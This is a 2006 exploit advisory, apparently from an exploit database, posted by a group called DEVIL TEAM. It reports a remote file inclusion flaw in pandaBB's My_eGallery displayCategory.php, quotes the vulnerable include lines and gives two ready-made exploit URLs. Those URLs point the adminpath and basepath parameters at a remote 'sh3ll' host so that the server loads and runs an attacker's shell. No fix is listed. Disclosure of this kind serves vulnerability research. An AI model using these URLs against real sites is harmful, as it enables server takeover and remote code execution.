pandaBB (displayCategory) Remote File Include Vulnerabilities

2006-10-19 00:00:00

::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########

::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###

- - [DEVIL TEAM THE BEST POLISH TEAM] - -

pandaBB (basepath;adminpath) Remote File Include
[Script name: pandaBB
[Script site: http://phpnuke.pl
Find by: nukedclx ([email protected])

DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam
Contact:
- [email protected]
- http://www.rahim.webd.pl/
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon & Kacper
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko., CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, SkD, MXZ, sysios, mIvus, wacky


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
in modules/My_eGallery/public/displayCategory.php

lines 1-3:
<?php
include ("$basepath/public/imageFunctions.php");
include ("$adminpath/fileFunctions.php");

%Exploit
http://host/pandadir/modules/My_eGallery/public/displayCategory.php?adminpath=http://sh3ll
http://host/pandadir/modules/My_eGallery/public/displayCategory.php?basepath=http://sh3ll

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.